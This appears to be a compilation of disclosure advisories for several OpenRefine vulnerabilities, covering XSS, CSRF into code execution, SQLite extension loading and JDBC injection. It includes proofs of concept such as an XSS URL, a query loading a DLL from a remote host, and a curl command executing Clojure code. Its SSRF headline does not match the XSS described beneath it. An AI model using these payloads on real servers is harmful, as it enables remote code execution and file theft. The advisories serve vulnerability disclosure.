OpenRefine <= v3.5.2 contains a Server-Side Request Forgery (SSRF) vulnerability, which permits unauthorized users to exploit the system, potentially leading to unauthorized access to internal resources and sensitive file disclosure.
Last updated 10 February 2025
Summary
The /extension/gdata/authorized endpoint includes the state GET parameter verbatim in a <script> tag in the output, so without escaping.
An attacker could lead or redirect a user to a crafted URL containing JavaScript code, which would then cause that code to be executed in the victim's browser as if it was part of OpenRefine.
Details
The state GET parameter is read from:
extensions/gdata/module/MOD-INF/controller.js:105
It is used (as $state) in:
extensions/gdata/module/authorized.vt:43
There is no check that the state has the expected format (base64-encoded JSON with values like "openrefine123..." and "cb123..."), or that the page was indeed opened as part of the authorization flow.
PoC
Navigate to:
http://localhost:3333/extension/gdata/authorized?state=%22,alert(1),%22&error=
An alert box pops up.
The gdata extension needs to be present. No other configuration is needed; specifically, it is not required to have a client ID or client secret set.
Impact
Execution of arbitrary JavaScript in the user's browser. The attacker-provided code can do anything the user can do, including deleting projects, retrieving database passwords, or executing arbitrary Jython or Closure expressions, if those extensions are also present.
Summary
The export-rows command can be used in such a way that it reflects part of the request verbatim, with a Content-Type header also taken from the request.
An attacker could lead a user to a malicious page that submits a form POST that contains embedded JavaScript code. This code would then be included in the response, along with an attacker-controlled Content-Type header, and so potentially executed in the victim's browser as if it was part of OpenRefine.
The attacker must know a valid project ID of a project that contains at least one row.
Details
The malicious form sets contentType to text/html (ExportRowsCommand.java line 101) and preview to true (line 107). This combination causes the browser to treat what OpenRefine thinks of as an export preview as a regular webpage.
It would be safer if the export-rows command did not allow overriding the Content-Type header at all, instead relying on the exporter to provide the correct Content-Type. It could also require a CSRF token. As an additional measure, it could add a Content-Security-Policy header to the response disabling scripts and such entirely.
At least the CSV exporter (separator and lineSeparator fields) and templating exporter (any field) are affected. It may also be possible to inject into the dateSettings.custom field or the SQL exporter default value field, if the project contains date or null cells.
PoC
An example form that demonstrates the issue is available on https://wandernauta.nl/os/.
Impact
Execution of arbitrary JavaScript in the user's browser. The attacker-provided code can do anything the user can do, including deleting projects, retrieving database passwords, or executing arbitrary Jython or Closure expressions, if those extensions are also present.
Summary
In the database extension, the "enableloadextension" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.
The attacker needs to have network access to the OpenRefine instance.
Details
The database extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:
Read files on local or SMB filesystems, provided they are SQLite databases. Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.
This seems to be the expected behavior.
However, by adding ?enableloadextension=true to the filename, a feature is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.
Possible mitigation and hardening steps could include:
- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path - If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory - If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters - Always using the READONLY open mode - Explicitly setting enableloadextension to off - Enforcing stricter limits and similar precautions
PoC
Tested on a Windows 11 machine.
1. Start OpenRefine and choose "Create project", "Database", database type "SQLite". 2. Type a writable file path followed by ?enableloadextension=true. 3. Click Connect. The connection should succeed. 4. Use SELECT loadextension('\\wandernauta.nl\public\libcalculator.dll'); as the query. 5. Assuming there are no firewalls in the way, a few Windows calculators should open.
The same file is available from https://wandernauta.nl/libcalculator.dll if needed.
Impact
Remote code execution for attackers with network access to OpenRefine.
Summary
The built-in "Something went wrong!" error page includes the exception message and exception traceback without escaping HTML tags, enabling injection into the page if an attacker can reliably produce an error with an attacker-influenced message.
It appears that the only way to reach this code in OpenRefine itself is for an attacker to somehow convince a victim to import a malicious file, as in GHSA-m88m-crr9-jvqq, which may be difficult. However, out-of-tree extensions may add their own calls to respondWithErrorPage.
Details
The Command.respondWithErrorPage (through HttpUtilities.respondWithErrorPage) function renders the Velocity template error.vt, which contains the $message and $stack variables, which are included in the response as-is:
https://github.com/OpenRefine/OpenRefine/blob/master/main/webapp/modules/core/error.vt#L52-L53
However, the message can contain HTML tags, which would then be interpreted by the browser. A mitigation would be to escape both the message and stack trace, perhaps using Guava's HTML escaper.
Flows that report errors as application/json responses are not interpreted by the browser and so not affected by this issue.
PoC
In OpenRefine, use the "Import project" feature to import the following URL (or upload it as a file): https://wandernauta.nl/oa/example.tar.gz
A JavaScript alert appears.
Impact
Execution of arbitrary JavaScript in the victim's browser, provided the victim can be convinced to import a malicious project. The script can do anything the user can do.
Summary
Lack of CSRF protection on the preview-expression command means that visiting a malicious website could cause an attacker-controlled expression to be executed. The expression can contain arbitrary Clojure or Python code.
The attacker must know a valid project ID of a project that contains at least one row.
Details
The com.google.refine.commands.expr.PreviewExpressionCommand class contains the following comment: / The command uses POST but does not actually modify any state so it does not require CSRF. /
However, this appears to be false (or no longer true). The expression being previewed (executed) can be written in GREL, Python, or Clojure. Since there are no restrictions on what code can be executed, the expression can do anything the user running OpenRefine can do. For instance, the following expressions start a calculator:
clojure:(.exec (Runtime/getRuntime) "gnome-calculator")
jython:import os;os.system("gnome-calculator")
The lack of restrictions on expressions is arguably not a problem if the user is typing their own expressions into OpenRefine: they could have just as well typed them into Clojure or Python directly. However, since the preview-expression command does not check for a CSRF token, the expression can actually come from a HTML form submitted by a different origin, including arbitrary websites.
Issue #2164 suggested adding CSRF protection to all endpoints, but this endpoint was skipped (and the above comment added) in the associated PR #2182.
PoC
An example "malicious" page is at https://wandernauta.nl/or/ (of course, actual malicious pages would not wait for the victim to press the submit button).
The following curl command (substituting the project ID) also demonstrates the issue:
sh curl -d project=123456789 -d cellIndex=1 -d rowIndices='[0]' -d 'expression=clojure:(.exec (Runtime/getRuntime) "gnome-calculator")' http://localhost:3333/command/core/preview-expression/
Impact
CSRF into remote code execution, provided the attacker knows at least one project ID in the victim's workspace and can convince the victim to open a malicious webpage.
Summary A jdbc attack vulnerability exists in OpenRefine(version<=3.7.7)
Details Vulnerability Recurrence Start by constructing a malicious MySQL Server (using the open source project MySQLFakeServer here). !image Then go to the Jdbc connection trigger vulnerability !image Vulnerability Analysis This vulnerability is the bypass of CVE-2023-41887 vulnerability repair, the main vulnerability principle is actually the use of official syntax features, as shown in the following figure, when the connection we can perform parameter configuration in the Host part !image In com.google.refine.extension.database.mysql.MySQLConnectionManager#getConnection method in the final JdbcUrl structure !image That is, in the toURI method call here, you can see that the Host part is directly concatenated for any verification, which can be bypassed using the address feature of mysql !image That is, in the toURI method call here, you can see that the Host part is directly concatenated for any verification, which can be bypassed using the address feature of mysql !image
PoC Complete instructions, including specific configuration details, to reproduce the vulnerability. Type: MySQL Host: 127.0.0.1:3306,(host=127.0.0.1,port=3306,autoDeserialize=true,allowLoadLocalInfile=true,allowUrlInLocalInfile=true,allowLoadLocalInfileInPath=true),127.0.0.1 Port: 3306 User: winhosts Database: test
Impact Due to the newer MySQL driver library in the latest version of OpenRefine (8.0.30), there is no associated deserialization utilization point, so original code execution cannot be achieved, but attackers can use this vulnerability to read sensitive files on the target server.
OpenRefine through 3.10.1 contains a cross-site request forgery vulnerability in the get-rows command that allows remote attackers to execute Jython facet expressions. Attackers can lure a user to a malicious page issuing a cross-origin GET with a crafted engine parameter, executing operating system commands as the OpenRefine user.
Impact
A carefully crafted malicious OpenRefine project tar file can be used to trigger arbitrary code execution if a user can be convinced to import it.
Patches
The vulnerability exists in all versions of OpenRefine up to and including 3.7.3. Users should update to OpenRefine 3.7.4 as soon as possible.
Workarounds
Only import OpenRefine projects from trusted sources.
References
A similar issue existed in the Create Project feature (CVE-2018-19859), which was fixed by PR #1901.
OpenRefine through 3.1 allows arbitrary file write because Directory Traversal can occur during the import of a crafted project file.